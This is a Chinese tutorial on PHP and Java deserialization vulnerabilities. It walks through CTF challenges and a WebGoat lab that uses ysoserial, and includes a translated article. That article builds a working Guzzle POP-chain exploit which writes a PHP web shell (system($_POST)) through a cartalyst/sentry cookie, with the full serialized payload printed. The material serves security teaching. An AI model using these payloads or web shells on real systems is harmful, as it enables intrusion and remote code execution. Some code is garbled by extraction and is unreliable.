22-反序列化漏洞

Posted 阿凯6666

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了22-反序列化漏洞相关的知识,希望对你有一定的参考价值。

反序列化之php&JAVA全解

php反序列化

思维导图

简要概述:

1.序列化定义

  • 序列化:把对象转化为可传输得字节序列过程称为序列化。
  • 反序列化:把字节序列还原为对象得过程称为反序列化。

2.序列化目的

序列化的最终目的是为了对象可以跨平台存储,和进行网络传输。

因为没有规则的字节数组我们是没办法把对象的本来原本面目还原回来的,所以我们必须在把对象转成字节数组的时候就制定一种规则(序列化),那么我们从IO流里面读出数据的时候在以这种规则把对象还原回来(反序列化)。

数据库里面,是无法保存一个对象或者数组的,那么这个时候我们可以将数组进行序列化处理转化为字符串,字符串是可以保存到数据库的。

3.PHP反序列化:

php序列化函数

  • 序列化函数:PHP serialize() 函数

    //将一个对象转换成一个字符串

serialize()函数用于序列化对象或者数组,并且返回一个字符串。

serialize()是用于序列化对象后,可以很方便的将他传递到其他地方,其结构类型不会发生改变。

语法

string serialize ( mixed $value )

参数说明:

  • $value: 要序列化的对象或数组。

返回值:返回一个字符串。

案例:

<?php
$sites = array('sb','nima');
$serialized_data = serialize($sites);
echo $serialized_data
?>

返回

a:2:i:0;s:2:"sb";i:1;s:4:"nima";

格式解析:

例如:O:4:"user":2:s:3:"age";i:18;s:4:"name";s:3:"LEO";
O代表对象;4代表对象名长度;2代表2个成员变量;

  • 反序列化函数:unserialize() 函数

unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

语法

mixed unserialize ( string $str )

参数说明:

  • $str: 序列化后的字符串。

返回值:

返回的是转换之后的值,可为 integer、float、string、array 或 object。

如果传递的字符串不可解序列化,则返回 FALSE,并产生一个 E_NOTICE。

例如:

<?php
$sites = 'a:2:i:0;s:2:"sb";i:1;s:4:"nima";';
$serialized_data = unserialize($sites);
echo $serialized_data;
print_r($serialized_data);
?>

//echo只输出了类型
print_r表示以数组的形式输出

一、PHP反序列化热身题-无类问题-本地

案例演示1:认识序列化

PHP在线执行:http://www.dooccn.com/php/

代码:

<?php
$a=array('a'=>'Apple','b'=>'banana','c'=>'Coconut');

//序列化数组
$s=serialize)($a);

echo $a;
//输出结果 :
a:3:s:1:"a";s:5:"Apple";s:1:"b";s:6:"banana";s:1:"c";s:7:"Coconut";
?>

案例演示2:本地实例

源码:test.php

<?php
error_reporting(0);
include "flag.php";
$KEY = "xiaodi";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")

    echo "$flag";

show_source(__FILE__);
?>

输入str =s:6:“xiaodi”;成功拿到flag。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k37Pj0ZO-1680605088739)(22-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.assets/202304041610622.png)]

二、CTF反序列化小真题-无类执行-实例

Bugku CTF题目:https://ctf.bugku.com/challenges#flag.php,提示hint

常规思路:

打开场景后,是个登录框,发现无法登录

这个登录框没啥用,根据提示在url后面加?hint=111,系统返回源代码

获取到代码进行分析:

从代码中可以分析出大概流程为:

首先判断hint这个请求中数据,不为空则进行显示。

如果为空给然后用反序列化后的cookie中的数据和$KEY进行比对。

最后得到flag。

审计源代码,发现反序列化漏洞。

漏洞利用:

<1>所以我们传入Cookie的值应该为:

使用php在线执行工具,将key序列化

<2>构造请求,将反序列化后的key放入cookie中,

<3>放行请求,发现并未返回flag。为什么呢?原因是源码这里有2个坑:

这时候发现问题:

不显示原因有两点:

1.没有将hint参数进行移除导致,后续的判断不进行执行,也就无法打印出flag。

2.cookie判断的KEY值是在后面进行的,因为代码执行顺序问题,也就是这里key并没有按照下面的来。

这里的KEY应该是为空。

以下,将请求中的hint参数删除,并将cookie值改为序列化后的空值,放行请求,成功拿到flag。

三、CTF反序列化练习题-有类魔术方法触发-本地

魔术方法是一种特殊的方法,像函数但又不是,当对对象执行某些操作时会覆盖 PHP 的默认操作。

参考网址:
https://m.php.cn/article/486923.html

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:

_construct() //创建对象时触发
_destruct() //对象被销毁时触发
_call() //在对象上下文中调用不可访问的方法时触发
_callStatic() //在静态上下文中调用不可访问的方法时触发
_get() //用于从不可访问的属性读取数据
_set() //用于将数据写入不可访问的属性
_isset() //在不可访问的属性上调用isset()或empty()触发
__sleep() //使用 serialize 序列化时自动调用
__wakeup() //使用 unserialize 反序列化时自动调用

测试代码

<?php
	class ABC
    public $test;
    function __construct()
        $test = 1;
        echo '调用了构造函数<br>';
    
    function __destruct()
        echo '调用了析构函数<br>';
    
    function __wakeup()
        echo '调用了苏醒函数<br>';
    

echo '创建对象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser=unserialize($a_ser);
echo '对象快要死了!';
?>

//运行结果
创建对象a<br>调用了构造函数<br>
序列化<br>反序列化<br>调用了苏醒函数
<br>对象快要死了!调用了析构函数<br>

四、网鼎杯2020青龙大真题-有类魔术方法触发-实例

地址:https://www.ctfhub.com/#/challenge

进入源码分析:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler 

    protected $op;
    protected $filename;
    protected $content;

    function __construct() 
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    

    public function process() 
        if($this->op == "1") 
            $this->write();
         else if($this->op == "2") 
            //弱类型判断,仅判断数值,op 赋值数字2或字符串' 2'也成立
            $res = $this->read();
            $this->output($res);
         else 
            $this->output("Bad Hacker!");
        
    

    private function write() 
        if(isset($this->filename) && isset($this->content)) 
            if(strlen((string)$this->content) > 100) 
                $this->output("Too long!");
                die();
            
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
         else 
            $this->output("Failed!");
        
    

    private function read() 
        $res = "";
        if(isset($this->filename)) 
            $res = file_get_contents($this->filename);
        
        return $res;
    

    private function output($s) 
        echo "[Result]: <br>";
        echo $s;
    

    function __destruct() 
        /析构函数,销毁类时执行,也就是在最后执行
        if($this->op === "2")
            /强类型比较,判断数值+类型,可以使用数字2或字符串' 2'绕过判断
            $this->op = "1";
        $this->content = "";
        $this->process();
    



function is_valid($s) 
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;


if(isset($_GET'str')) 

    $str = (string)$_GET['str'];
    if(is_valid($str)) 
        $obj = unserialize($str);
        //反序列化,所以要先序列化。
    


首先由ctf命名及代码函数unserialize判断本题考察反序列化知识点:

  • 第一:获取flag存储flag.php

  • 第二:两个魔术方法__destruct __construct

  • 第三:传输str参数数据后触发destruct,存在is_valid过滤

  • 第四:__destruct中会调用process,其中op=1写入及op=2读取

  • 第五:涉及对象FileHandler,变量op及filename,content,进行构造输出

涉及:反序列化魔术方法调用,弱类型绕过,ascii绕过

弱类型绕过

使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)

__destruct函数中if(this−>op==="2")代码,对op进行了===判断(强类型)并且op值为字符串2时会赋值为1,process函数中if(
this->op == "2")代码,使用==判断(弱类型)(op值为2的情况下才能读取内容),
因此这里存在弱类型比较,可以使用数字2或字符串' 2'绕过判断。

ascii绕过

is_valid函数还对序列化字符串进行了校验。
因为PHP序列化的时候,若成员被private和protected修饰,会引入不可见字符\\x00,这些字符对应的ascii码为0,这是个ASCII不在32到125之间的字符,经过is_valid函数以后会返回false,导致无法执行到反序列函数。
经过测试,在PHP7.2+的环境中,使用public修饰成员并序列化,反序列化后成员也会被public覆盖修饰。因此可以改成public来绕过is_valid函数校验。

payload:

<?php
class FileHandler
  public $op=' 2';//源码告诉我们op为1时执行写入,op为2时执行读取
  public $filename="flag.php";//文件开头调用的是flag.php
  public $content="xd";

$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>

先序列化:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xzq8JIBd-1680773391610)(22-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.assets/image-20230405172552539.png)]

反序列化中如果写入后门,sql注入等危害会极大。

JAVA反序列化

一、思维导图

二、Java实现序列化

Java中的API实现:

位置:java.objectOuputStream

java.io.ObjectInputStream

序列化 :objectOutputStream类 -->writeObject()

住:该方法对参数指定的obj对象进行序列化,对字节序列写到一个目标输出流中。

按JAVA的标准约定是给文件一个.ser扩展名

反序列化: objectInputStream类–>readObject()

住:该方法从一个源输入流中读取字节序列,在·把他们反序列化为一个对象,并将其返回。

理解:

#序列化和反序列化

序列化(Serialization): 将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。

反序列化:从存储区中读取该数据,并将其还原为对象的过程,成为反序列化。

三、Java反序列化及命令执行代码测试

java反序列化代码测试

序列化过程:使用writeobject方法,将Person对象数据转化为txt乱码数据;

反序列化过程:使用readobject方法,将txt乱码数据转化为Person对象数据。

命令执行代码测试

结合java反序列化+代码执行,将会给系统带来不可预料的危害。

四、WebGoat_Javaweb靶场反序列化测试

没有回显就要用到反弹shell。

WebGoat漏洞环境下载:https://github.com/WebGoat/WebGoat/releases

启动环境命令:java -jar webgoat-server-8.2.2.jar

工具下载地址:

Java反序列化验证工具:https://github.com/frohoff/ysoserial/releases

centos7上安装漏洞环境教程:

1、安装Docker

# 1、yum 包更新到最新 
yum update
# 2、安装需要的软件包, yum-util 提供yum-config-manager功能,另外两个是devicemapper驱动依赖的 
yum install -y yum-utils device-mapper-persistent-data lvm2
# 3、 设置yum源
yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
# 4、 安装docker,出现输入的界面都按 y 
yum install -y docker-ce
# 5、 查看docker版本,验证是否验证成功
docker -v

2、设置仓库:

yum-config-manager \\
    --add-repo \\
    https://download.docker.com/linux/centos/docker-ce.repo

3、启动并加入开机启动

systemctl start docker

systemctl enable docker

4、验证是否安装成功

docker version

5、下载靶场启动

jiang@ubuntu:~$ docker pull webgoat/webgoat-8.0
jiang@ubuntu:~$ docker run -d -p 8080:8080 webgoat/webgoat-8.0:latest

外部访问:

(http://192.168.31.131:8080/WebGoat/login)

注册登录靶机:

漏洞复现

1、浏览器打开靶机:

2、使用jd-gui工具或者IDEA工具(推荐)打开webgoat-server-8.2.2.jar,分析源代码

找到反序列化函数

反序列化这里可以执行对象中的代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5lSjfaZV-1680773391617)(22-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.assets/1375459-20211227193653541-320246282.png)]

3、此时,基本可以 确定存在反序列化漏洞。如何利用?

本题目页面上的数据以rO0AB开头,可以确定这串就是JAVA序列化base64加密的数据。

所以我们在构造payload时,需要如下几步:

构造含有命令(比如ipconfig)的对象–>序列化–>base64–>最终payload(rO0AB开头字符串)

但是攻击时,还需要考虑回显问题,若系统不回显命令执行后的结果,即使我们攻击成功,也没用。因此我们一般需要构造反弹shell。

这个过程挺复杂,手工的话,需要一个一个尝试,效率低且不一定成功。因此我们可以使用工具生成payload。

Java反序列化验证工具

如下图,使用ysoserial工具生成payload。这里由于源代码中有hibernate组件,因此我们可以执行命令调用该组件生成payload。

手册使用教程地址:

(39条消息) 反序列化工具ysoserial使用介绍_反序列化利用工具_莫语闲语的博客-CSDN博客

启动:

java -jar ysoserial.jar

使用ysoserial工具生成payload。这里由于源代码中有hibernate组件,因此我们可以执行命令调用该组件生成payload。

calc.exe表示计算器

payload如下

这里我们还需要将payload进行base64加密(ysoserial只能进行反序列化,它不负责base64加密)

写一个python脚本,执行,实现base64加密

import base64
 
filename = input("输入需要base64编码的文件名:")
s = open(filename, "rb").read() #文本默认模式读取文件内容rt
base64_str = base64.urlsafe_b64encode(s)
#文本默认模式写入文件内容wt
open("base64.txt", "wt",encoding="utf-8").write(base64_str.decode())

生成payload.txt

全选,复制粘贴到本题目输入框,点击提交,弹出计算器。

五、网鼎杯-朱雀组-Web-think_java真题复现

CTFHub官网:

https://www.ctfhub.com/\\#/challenge

根据提示附件进行javaweb代码审计,判断可能存在sql注入。

页面打开如下

见面没有什么,打开burpsuite抓包试试:

ref:PHP反序列化漏洞成因及漏洞挖掘技巧与案例

ref:https://www.anquanke.com/post/id/84922

PHP反序列化漏洞成因及漏洞挖掘技巧与案例

一、序列化和反序列化

序列化和反序列化的目的是使得程序间传输对象会更加方便。序列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。反序列化本身并不危险,但是如果反序列化时,传入反序列化函数的参数可以被用户控制那将会是一件非常危险的事情。不安全的进行反序列化造成的危害只有你想不到,没有他做不到,是的,没错。

序列化和反序列化的原理已经有很多文章了,这里就不赘述了。PHP的类有很多的 ‘魔术方法‘ ,比如:

__construct(), __destruct()
__call(), __callStatic()
__get(), __set()
__isset(), __unset()
__sleep(), __wakeup()
__toString()
__invoke()
__set_state()
__clone()
__debugInfo()
魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。
问题就出现在重载过程中,执行了相关代码。

这么多的魔术方法中我们所需要关注的方法也就是__destruct() 和 __wakeup() 方法.这两个方法中前者是在对象被销毁时程序会自动调用,后者是在类对象被反序列化时被调用.所以这两个方法是在 对象反序列化一直到程序执行完毕这整个过程中,必定会被调用的方法,如果在这两个函数中有一些危险的动作,并且能够被我们所利用,那么漏洞并出现了。

 

二、反序列漏洞的利用思路

理论  

在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 "面向属性编程" ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是__wakeup() 或者是__destruct() 方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。下面列举些在跟进其函数调用过程中需要关注一些很有价值的函数。

技术分享图片

如果在跟进程序过程中发现这些函数就要打起精神,一旦这些函数的参数我们能够控制,就有可能出现高危漏洞.

Demo

所使用的代码。

DemoPopChain.php

<?php
    class DemoPopChain{
    private $data = “barn”;
    private $filename = ‘/tmp/foo’;
    public function __wakeup(){
        $this->save($this->filename);
    }
        public function save($filename){
        file_put_contents($filename, $this->data);
    }
?>

unserialize.php

<?php
        require(‘./DemoPopChain.php’);
        unserialize(file_get_contents(‘./serialized.txt));
?>

这是一个很简单的具有反序列漏洞的代码,程序从serialized.txt文件中读取需要进行反序列化的字符串。这个我们可控。同时该文件还定义了一个 DemoPopChain 类,并且该类实现了 __wakeup 函数,然后在该函数中,又调用了save函数,其参数为 类对象的filename属性值,然后在 save函数中调用了 file_put_contents 函数,该函数的两个参数分别为从save函数中传下来的 filename属性值 和 该对象的data属性值。又由于在反序列化的过程中被反序列化的对象的属性值是我们可控的,于是我们就通过对函数的嵌套调用和对象属性值的使用得到了一个 任意文件写入任意内容的漏洞.这就是所谓的POP。就是关注整个函数的调用过程中参数的传递情况,找到可利用的点,这和一般的Web漏洞没什么区别,只是可控制的值有直接传递给程序的参数转变为了 对象中的属性值。

 

三、现实中查找反序列化漏洞及构造exploit的方法

前置知识

PHP的 unserialize() 函数只能反序列化在当前程序上下文中已经被定义过的类.在传统的PHP中你需要通过使用一大串的include() 或者 require()来包含所需的类定义文件。于是后来出现了 autoloading 技术,他可以自动导入需要使用的类,再也不需要程序员不断地复制粘贴 那些include代码了。这种技术同时也方便了我们的漏洞利用.因为在我们找到一个反序列化点的时候我们所能使用的类就多了,那么实现漏洞利用的可能性也就更加高。

还有一个东西要提一下,那就是Composer,这是一个php的包管理工具,同时他还能自动导入所以依赖库中定义的类。这样一来 unserialize() 函数也就能使用所有依赖库中的类了,攻击面又增大不少。

1.Composer配置的依赖库存储在vendor目录下

2.如果要使用Composer的自动类加载机制,只需要在php文件的开头加上 require __DIR__ . ‘/vendor/autoload.php‘;

漏洞发现技巧

默认情况下  Composer 会从  Packagist下载包,那么我们可以通过审计这些包来找到可利用的 POP链。

找PHP链的基本思路.

1.在各大流行的包中搜索 __wakeup() 和 __destruct() 函数.

2.追踪调用过程

3.手工构造 并验证 POP 链

4.开发一个应用使用该库和自动加载机制,来测试exploit.

构造exploit的思路

1.寻找可能存在漏洞的应用

2.在他所使用的库中寻找 POP gadgets

3.在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试payload

4.将序列化之后的payload发送到有漏洞web应用中进行测试.

Example

1. 寻找可能存在漏洞的应用:   cartalyst/sentry

漏洞代码: /src/Cartalyst/Sentry/Cookies/NativeCookie.php

     ...
  public function getCookie()
  {
     ...
     return unserialize($_COOKIE[$this->getKey()]);
     ...
  }
}

这里从 cookie中获取了值,然后直接将他序列化.

2.程序使用的库中的POP Gadgets: guzzlehttp/guzzle

找Gadgets的最好的一个地方就是composer.json文件,他写明了程序需要使用的库.

  {
    "require": {
    "cartalyst/sentry": "2.1.5",
    "illuminate/database": "4.0.*",
    "guzzlehttp/guzzle": "6.0.2",
    "swiftmailer/swiftmailer": "5.4.1"
  }
}

a.从git repo下载这些库

b.在其中搜索__wakeup() 和 __destruct() 函数

/guzzle/src/Cookie/FileCookieJar.php

namespace GuzzleHttpCookie;
class FileCookieJar extends CookieJar
  ...
  public function __destruct()
  {
    $this->save($this->filename);
  }
  ...

这里使用类对象的filename属性值作为参数传入了save函数.我们来看看save函数具体实现.

FileCookieJar->save()

public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
  /** @var SetCookie $cookie */
  if ($cookie->getExpires() && !$cookie->getDiscard()) {
    $json[] = $cookie->toArray();
  }
 }
if (false === file_put_contents($filename, json_encode($json))) {
    throw new RuntimeException("Unable to save file {$filename}");
  }
}

可以看到我们传入的参数最后是直接被作为要写入内容的文件的文件名.这下文件名可控了,如果我们再能够控制文件的内容就能实现getshell了.通过代码可以发现文件的内容为上面一层循环中来得到的数组经过json编码后得到的.而数组中的内容为 $cookie->toArray() ,那么我们得去找到 $cookie对象是在哪定义的来确定他返回的值是什么,以及是否可利用.还有一点,我们还需要过掉那个判断才能给 json 数组赋值.所以我们需要关注的有三个点.

$cookie->getExpires()
!$cookie->getDiscard()
$json[] = $cookie->toArray()

我们并不知道$cookie 具体是什么类,我们可以通过搜索函数名,来定位这个类.通过这样定位到了SetCookie类.其代码如下.

namespace GuzzleHttpCookie;
class SetCookie
    ...
    public function toArray(){
       return $this->data;
    }
    ...
    public function getExpires(){
        return $this->data[‘Expires‘];
    }
    ...
    public function getDiscard(){
        return $this->data[‘Discard‘];
    }

可以看到那三个方法只是简单的返回了data数组的特定键值.

3.搭建环境进行poc测试

首先在虚拟机里创建这样一个composer.json文件来安装提供POP gadgets的库.

{
    "require": {
        "guzzlehttp/guzzle": "6.0.2"
    }
}

之后使用这个文件安装库

技术分享图片

然后使用这个库,来构造反序列化的payload

<?php
    require __DIR__ . ‘/vendor/autoload.php‘;
    use GuzzleHttpCookieFileCookieJar;
    use GuzzleHttpCookieSetCookie;
    $obj = new FileCookieJar(‘/var/www/html/shell.php‘);
    $payload = ‘<?php echo system($_POST[‘poc‘]); ?>‘;
    $obj->setCookie(new SetCookie([
        ‘Name‘ => ‘foo‘, ‘Value‘
        ‘Domain‘ => $payload,
        => ‘bar‘,
        ‘Expires‘ => time()]));
    file_put_contents(‘./built_payload_poc‘, serialize($obj));

运行这个文件得到payload

# php build_payload.php
# cat built_payload_poc
O:31:"GuzzleHttpCookieFileCookieJar":3:{s:41:"GuzzleHttpCookieFileCookieJarfilename";s:23:"/var/www/html/shell.php";s:36:"GuzzleHttpCookieCookieJarcookies";a:1:{i:1;O:27:"GuzzleHttpCookieSetCookie":1:{s:33:"GuzzleHttpCookieSetCookiedata";a:9:{s:4:"Name";s:3:"foo";s:5:"Value";s:3:"bar";s:6:"Domain";s:36:"<?php echo system($_POST[‘poc‘]);?>";s:4:"Path";s:1:"/";s:7:"Max-Age";N;s:7:"Expires";i:1450225029;s:6:"Secure";b:0;s:7:"Discard";b:0;s:8:"HttpOnly";b:0;}}}s:39:"GuzzleHttpCookieCookieJarstrictMode";N;}

现在payload已经生成,我们在创建一个文件来测试这个payload的结果.

<?php
    require __DIR__ . ‘/vendor/autoload.php‘;
    unserialize(file_get_contents("./built_payload_poc"));

这个文件的内容很简单,就是把我们刚刚生成的payload反序列化.来看看效果

技术分享图片

成功写入一个shell.

4.寻找使用了这个漏洞库并且有反序列化操作的程序这里是cartalyst/sentry,然后拿POC去打就好.

演示:

首先网站目录没有shell.php文件

技术分享图片

让我们将cartalyst_sentry的cookie值设为经过url编码的反序列化payload,然后发送到应用中去.

技术分享图片

现在shell.php已经出现了

技术分享图片

本文翻译自 insomniasec, 原文链接 。如若转载请注明出处。


以上是关于22-反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章

15-PHP代码审计——yii 2.0.37反序列化漏洞

15-PHP代码审计——yii 2.0.37反序列化漏洞

php中序列化与反序列化

反序列化漏洞与URLDNS利用链

思科产品中存在严重硬编码密码漏洞和Java反序列化漏洞

反序列化漏洞的利用